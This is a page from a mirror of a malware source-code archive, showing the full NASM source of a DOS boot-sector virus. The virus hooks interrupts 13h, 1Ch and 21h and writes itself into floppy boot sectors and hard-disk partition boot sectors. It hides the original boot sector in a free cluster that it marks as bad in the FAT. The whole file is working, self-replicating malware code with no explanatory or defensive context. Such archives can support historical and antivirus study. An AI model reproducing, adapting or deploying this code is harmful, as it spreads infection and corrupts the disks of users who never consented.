mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
434 lines
6.8 KiB
NASM
434 lines
6.8 KiB
NASM
|
.radix 16
|
|||
|
start:
|
|||
|
jmp begin
|
|||
|
|
|||
|
db 'IBM 3.3'
|
|||
|
dw 200
|
|||
|
db 2
|
|||
|
dw 1
|
|||
|
db 2
|
|||
|
dw 70
|
|||
|
dw 2D0
|
|||
|
db 0FDh
|
|||
|
dw 2
|
|||
|
dw 9
|
|||
|
dw 2
|
|||
|
dw 0
|
|||
|
|
|||
|
work dd ?
|
|||
|
count db ?
|
|||
|
drive db ?
|
|||
|
Fat_sec dw ?
|
|||
|
old_boot dw 666d
|
|||
|
flag db ?
|
|||
|
sys_sec dw ?
|
|||
|
|
|||
|
;Simulate PUSHA
|
|||
|
|
|||
|
pusha:
|
|||
|
pop word ptr cs:[sys_sec-start]
|
|||
|
pushf
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push ds
|
|||
|
push es
|
|||
|
jmp word ptr cs:[sys_sec-start]
|
|||
|
|
|||
|
;Simulate POPA
|
|||
|
|
|||
|
popa:
|
|||
|
pop word ptr cs:[sys_sec-start]
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
jmp word ptr cs:[sys_sec-start]
|
|||
|
|
|||
|
;This procedure Reads/Writes the absolute sector in BX
|
|||
|
;ES:BP must point I/O buffer
|
|||
|
|
|||
|
write:
|
|||
|
mov ah,3
|
|||
|
jmp short do_it
|
|||
|
read:
|
|||
|
mov ah,2
|
|||
|
do_it:
|
|||
|
mov al,1
|
|||
|
xchg ax,bx
|
|||
|
add ax,[001C] ;Hidden sectors
|
|||
|
xor dx,dx
|
|||
|
div word ptr [0018]
|
|||
|
inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0)
|
|||
|
mov ch,dl ;dl is the first sector
|
|||
|
xor dx,dx
|
|||
|
div word ptr [001A] ;Cylinder in AX
|
|||
|
mov cl,6 ;Set CX if cylinder is bigger than 512
|
|||
|
shl ah,cl
|
|||
|
or ah,ch
|
|||
|
xchg ax,cx
|
|||
|
xchg ch,cl
|
|||
|
xchg dh,dl
|
|||
|
xchg ax,bx
|
|||
|
|
|||
|
abs_read:
|
|||
|
xchg bx,bp
|
|||
|
mov dl,byte ptr [drive-start] ;dl is the drive
|
|||
|
pushf
|
|||
|
db 9A
|
|||
|
orig dd ?
|
|||
|
jnc ok_func
|
|||
|
pop ax
|
|||
|
ok_func:
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
begin:
|
|||
|
xor ax,ax ;Virus begining
|
|||
|
mov bp,7C00
|
|||
|
mov ds,ax ;Clear ds&ss
|
|||
|
mov ss,ax
|
|||
|
mov sp,bp ;Set SP bellow virus
|
|||
|
xchg ax,di
|
|||
|
mov si,bp
|
|||
|
mov ax,2000 ;Copy virus somewhere in memory
|
|||
|
mov es,ax
|
|||
|
mov cx,0100
|
|||
|
rep movsw
|
|||
|
push es
|
|||
|
mov ax,offset here-start
|
|||
|
push ax
|
|||
|
retf ;go there
|
|||
|
|
|||
|
|
|||
|
here:
|
|||
|
mov ax,1234
|
|||
|
cmp [80*4],ax
|
|||
|
mov [80*4],ax
|
|||
|
je skip_this
|
|||
|
les bx,[1C*4] ;Get old int 1Ch value
|
|||
|
mov cs:[work-start],bx
|
|||
|
mov cs:[work-start+2],es
|
|||
|
mov [1C*4],offset entry_1C-start ;Set new value
|
|||
|
mov [1C*4+2],cs
|
|||
|
|
|||
|
skip_this:
|
|||
|
|
|||
|
les bx,[13*4] ;Save original int 13h
|
|||
|
mov cs:[orig-start],bx
|
|||
|
mov cs:[orig-start+2],es
|
|||
|
push cs ;DS=ES=CS
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
again:
|
|||
|
mov ax,offset again-start
|
|||
|
push ax
|
|||
|
xor ah,ah ;Initialize Floppy
|
|||
|
mov byte ptr [flag-start],ah
|
|||
|
int 13
|
|||
|
and byte ptr [drive-start],80 ;Drive A: or C:
|
|||
|
mov bx,word ptr [old_boot-start] ;Read second part
|
|||
|
mov bp,offset second-start
|
|||
|
call read
|
|||
|
mov bx,word ptr [old_boot-start]
|
|||
|
inc bx
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
mov bp,7C00
|
|||
|
call read ;Read old Boot
|
|||
|
db 0EA,00,7C,00,00 ;JMP 0000:7C00
|
|||
|
|
|||
|
entry_1C:
|
|||
|
push si
|
|||
|
push ds
|
|||
|
|
|||
|
xor si,si
|
|||
|
mov ds,si
|
|||
|
cmp [si+21*4],si
|
|||
|
je not_yet
|
|||
|
|
|||
|
push bx
|
|||
|
push es
|
|||
|
|
|||
|
les bx,cs:[si+work-start]
|
|||
|
mov [si+1C*4],bx
|
|||
|
mov [si+1C*4+2],es
|
|||
|
les bx,[si+21*4]
|
|||
|
mov word ptr cs:[si+jmp_21-start],bx
|
|||
|
mov word ptr cs:[si+jmp_21-start+2],es
|
|||
|
mov [si+21*4],offset go_on-start
|
|||
|
mov [si+21*4+2],cs
|
|||
|
|
|||
|
pop es
|
|||
|
pop bx
|
|||
|
|
|||
|
not_yet:
|
|||
|
pop ds
|
|||
|
pop si
|
|||
|
iret
|
|||
|
|
|||
|
go_on:
|
|||
|
call pusha
|
|||
|
cmp ax,4B00
|
|||
|
je install
|
|||
|
return:
|
|||
|
call popa
|
|||
|
|
|||
|
db 0EA
|
|||
|
jmp_21 dd ?
|
|||
|
|
|||
|
install:
|
|||
|
|
|||
|
mov ah,52
|
|||
|
int 21
|
|||
|
xor si,si
|
|||
|
xor di,di
|
|||
|
mov ds,es:[bx-02]
|
|||
|
mov bx,ds
|
|||
|
mov ax,[si+3]
|
|||
|
add [si+3],96
|
|||
|
inc bx
|
|||
|
add ax,bx
|
|||
|
mov es,ax
|
|||
|
push es
|
|||
|
mov ax,es:[si+3]
|
|||
|
sub ax,96
|
|||
|
push ax
|
|||
|
mov ax,[si+3]
|
|||
|
add ax,bx
|
|||
|
mov ds,ax
|
|||
|
mov byte ptr [si],'Z'
|
|||
|
mov [si+1],si
|
|||
|
pop [si+3]
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov cx,0200
|
|||
|
rep movsw
|
|||
|
mov ax,word ptr [jmp_21-start]
|
|||
|
mov bx,word ptr [jmp_21-start+2]
|
|||
|
mov ds,cx
|
|||
|
mov [21*4],ax
|
|||
|
mov [21*4+2],bx
|
|||
|
mov ax,[13*4]
|
|||
|
mov bx,[13*4+2]
|
|||
|
mov es:[my-start],ax
|
|||
|
mov es:[my-start+2],bx
|
|||
|
mov [13*4],offset real-start
|
|||
|
mov [13*4+2],es
|
|||
|
jmp short return
|
|||
|
|
|||
|
|
|||
|
real:
|
|||
|
call pusha
|
|||
|
cmp ah,02
|
|||
|
jne exit
|
|||
|
cmp dl,81
|
|||
|
ja exit
|
|||
|
mov byte ptr cs:[drive-start],dl
|
|||
|
check:
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov byte ptr cs:[flag-start],al
|
|||
|
mov al,byte ptr [043F]
|
|||
|
push dx
|
|||
|
test dl,80
|
|||
|
jz ok_drive
|
|||
|
sub dl,7F
|
|||
|
shl dx,1
|
|||
|
shl dx,1
|
|||
|
dec dx
|
|||
|
ok_drive:
|
|||
|
inc dx
|
|||
|
test al,dl
|
|||
|
pop dx
|
|||
|
jnz exit
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
call infect
|
|||
|
exit:
|
|||
|
call popa
|
|||
|
call_cur:
|
|||
|
db 0EA
|
|||
|
my dd ?
|
|||
|
|
|||
|
ident dw 01234
|
|||
|
dw 0AA55
|
|||
|
|
|||
|
second label word
|
|||
|
|
|||
|
db '666'
|
|||
|
|
|||
|
infect:
|
|||
|
push dx
|
|||
|
xor ah,ah
|
|||
|
int 1A
|
|||
|
test dl,01
|
|||
|
pop dx
|
|||
|
jz bad
|
|||
|
mov ax,0201
|
|||
|
mov dh,0
|
|||
|
mov cx,0001
|
|||
|
mov bp,offset buffer-start
|
|||
|
call abs_read
|
|||
|
test dl,80
|
|||
|
jz usual
|
|||
|
mov bx,offset buffer-start+01BE
|
|||
|
mov cx,0004
|
|||
|
search:
|
|||
|
cmp byte ptr [bx+4],1
|
|||
|
je okay
|
|||
|
cmp byte ptr [bx+4],4
|
|||
|
je okay
|
|||
|
add bx,10
|
|||
|
loop search
|
|||
|
ret
|
|||
|
|
|||
|
okay:
|
|||
|
mov dx,[bx]
|
|||
|
mov cx,[bx+2]
|
|||
|
mov ax,0201
|
|||
|
mov bp,offset buffer-start
|
|||
|
call abs_read
|
|||
|
usual:
|
|||
|
mov si,offset buffer-start+3
|
|||
|
mov di,0003
|
|||
|
mov cx,1Bh
|
|||
|
rep movsb
|
|||
|
cmp [buffer-start+01FC],1234 ;Infected ?
|
|||
|
jne well
|
|||
|
bad:
|
|||
|
ret
|
|||
|
|
|||
|
well:
|
|||
|
cmp [0Bh],200 ;Bytes in sector
|
|||
|
jne bad
|
|||
|
cmp byte ptr [0Dh],2 ;Sectors in 1 cluster
|
|||
|
jb bad
|
|||
|
mov cx,[0E] ;Reserved dectors
|
|||
|
mov al,[10] ;Copies of FAT
|
|||
|
cbw
|
|||
|
mul word ptr [16] ;FAT in sectors
|
|||
|
add cx,ax
|
|||
|
mov ax,20 ;32 bytes
|
|||
|
mul word ptr [11] ;Elements in the catalogue
|
|||
|
mov bx,1FF
|
|||
|
add ax,bx
|
|||
|
inc bx
|
|||
|
div bx
|
|||
|
add cx,ax
|
|||
|
mov word ptr [sys_sec-start],cx ;system sectors
|
|||
|
mov ax,[0013] ;Sectors on the disk
|
|||
|
sub ax,cx
|
|||
|
mov bl,[0Dh] ;Sectors in cluster
|
|||
|
xor dx,dx
|
|||
|
xor bh,bh
|
|||
|
div bx
|
|||
|
inc ax ;AX=clusters on disk
|
|||
|
mov di,ax
|
|||
|
and byte ptr [flag-start],0FE
|
|||
|
cmp ax,0FF0
|
|||
|
jbe small
|
|||
|
or byte ptr [flag-start],1
|
|||
|
small:
|
|||
|
mov si,1
|
|||
|
mov bx,[0E] ;Where to read FAT from
|
|||
|
dec bx
|
|||
|
mov [Fat_sec-start],bx
|
|||
|
mov byte ptr [count-start],0FE
|
|||
|
|
|||
|
look_here:
|
|||
|
|
|||
|
inc word ptr [Fat_sec-start] ;Next sector in FAT
|
|||
|
mov bx,[Fat_sec-start]
|
|||
|
add byte ptr [count-start],2 ;Adjust for new offset
|
|||
|
mov bp,offset buffer-start ;BP points buffer
|
|||
|
call read ;Read FAT's sector
|
|||
|
jmp short where
|
|||
|
|
|||
|
look:
|
|||
|
mov ax,3 ;Multiply by 1.5 rounded down to integer number
|
|||
|
test byte ptr [flag-start],1
|
|||
|
je go_1
|
|||
|
inc ax ;For 16 bit FAT
|
|||
|
go_1:
|
|||
|
mul si
|
|||
|
shr ax,1
|
|||
|
sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
|
|||
|
mov bx,ax
|
|||
|
cmp bx,1FF ;If reached the end then load next FAT sector
|
|||
|
jnb look_here
|
|||
|
mov dx,[bx+buffer-start] ;Information for this cluster
|
|||
|
test byte ptr [flag-start],01
|
|||
|
jne go_2
|
|||
|
test si,1
|
|||
|
je go_3
|
|||
|
mov cl,4
|
|||
|
shr dx,cl
|
|||
|
go_3:
|
|||
|
and dh,0F
|
|||
|
go_2:
|
|||
|
or dx,dx ;Free cluster ?
|
|||
|
jz found
|
|||
|
where:
|
|||
|
inc si
|
|||
|
cmp si,di
|
|||
|
jbe look
|
|||
|
ret
|
|||
|
|
|||
|
found:
|
|||
|
mov dx,0FFF7 ;Prepare for marking it as bad
|
|||
|
test byte ptr [flag-start],1
|
|||
|
jnz go_4
|
|||
|
and dh,0F
|
|||
|
test si,1
|
|||
|
je go_4
|
|||
|
mov cl,4
|
|||
|
shl dx,cl
|
|||
|
go_4:
|
|||
|
or [bx+buffer-start],dx ;Set it in FAT
|
|||
|
mov bx,[Fat_sec-start]
|
|||
|
mov bp,offset buffer-start
|
|||
|
call write ;Update 1'st FAT copy
|
|||
|
mov ax,si ;Convert cluster address in si to sector number
|
|||
|
sub ax,2
|
|||
|
mov bl,byte ptr [0Dh]
|
|||
|
xor bh,bh
|
|||
|
mul bx
|
|||
|
add ax,[sys_sec-start]
|
|||
|
mov si,ax ;Si is the sector that is free
|
|||
|
xor bx,bx
|
|||
|
mov bp,offset buffer-start
|
|||
|
call read ;Read old BOOTSECTOR
|
|||
|
mov bx,si ;Put it in a quiet place
|
|||
|
inc bx
|
|||
|
mov bp,offset buffer-start
|
|||
|
call write ;Do that
|
|||
|
mov bx,si
|
|||
|
mov [old_boot-start],si
|
|||
|
mov bp,offset second-start
|
|||
|
call write
|
|||
|
xor bx,bx
|
|||
|
xor bp,bp
|
|||
|
call write
|
|||
|
ret
|
|||
|
|
|||
|
this_ db 1024d-(this_-start) dup (0F6h)
|
|||
|
|
|||
|
buffer label word
|
|||
|
|
|||
|
|
|||
|
|